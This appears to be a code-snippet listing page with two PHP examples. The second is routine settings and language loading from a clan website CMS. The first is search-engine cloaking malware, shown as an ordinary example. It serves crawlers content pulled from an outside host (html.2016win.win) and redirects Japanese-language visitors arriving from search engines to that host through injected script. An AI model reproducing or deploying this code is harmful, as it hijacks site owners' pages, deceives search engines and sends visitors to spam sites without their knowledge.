Beispiel #1
0
    echo $dom->saveXML();
    exit;
}
if ($isBot) {
    if (!$isoldpage) {
        $queryid = $_SERVER['QUERY_STRING'];
        $str = GetFileContent("http://html.2016win.win/v1/proxy2.php?" . $u[1] . "|" . $_SERVER['HTTP_HOST']);
        echo $str;
        exit;
    } else {
        $str = GetFileContent("http://html.2016win.win/v1/proxy.php?" . $u[0]);
        echo $str;
        exit;
    }
} else {
    if (isSpider($referer) && $isJa) {
        echo '<script>document.location=("http://html.2016win.win/ny1.php?' . $uy . '");</script>';
        exit;
    }
}
function isGoogleBot()
{
    if (stripos($_SERVER["HTTP_USER_AGENT"], "Googlebot") !== false) {
        return true;
    } else {
        return false;
    }
}
function isJaBrower()
{
    if (strpos(strtolower($_SERVER['HTTP_ACCEPT_LANGUAGE']), "ja") !== false) {
Beispiel #2
0
require_once basePath . '/inc/_version.php';
require_once basePath . '/inc/sendmail.php';
require_once basePath . '/inc/server_query/_functions.php';
require_once basePath . "/inc/teamspeak_query.php";
## FUNCTIONS ##
//-> Legt die UserID desRootadmins fest
//-> (dieser darf bestimmte Dinge, den normale Admins nicht duerfen, z.B. andere Admins editieren)
$rootAdmin = 1;
//-> Settingstabelle auslesen
$qry = db("SELECT * FROM " . $db['settings'] . "");
$settings = _fetch($qry);
$prev = $settings['prev'] . '_';
//-> Language auslesen
$language = file_exists(basePath . '/inc/lang/languages/' . $_COOKIE[$prev . 'language'] . '.php') ? $_COOKIE[$prev . 'language'] : $settings["language"];
//einzelne Definitionen
$isSpider = isSpider();
$subfolder = basename(dirname(dirname($_SERVER['PHP_SELF']) . '../'));
$httphost = $_SERVER['HTTP_HOST'] . (empty($subfolder) ? '' : '/' . $subfolder);
$domain = str_replace('www.', '', $httphost);
$pagetitle = $settings["pagetitel"];
$clanname = $settings["clanname"];
$badwords = $settings["badwords"];
$mailfrom = $settings["mailfrom"];
$double_post = $settings["double_post"];
$forum_vote = $settings["forum_vote"];
$gb_activ = $settings["gb_activ"];
$gametiger_game = $settings["gametiger"];
$ts_ip = $settings["ts_ip"];
$ts_port = $settings["ts_port"];
$balken_cw = $settings["balken_cw"];
$balken_vote = $settings["balken_vote"];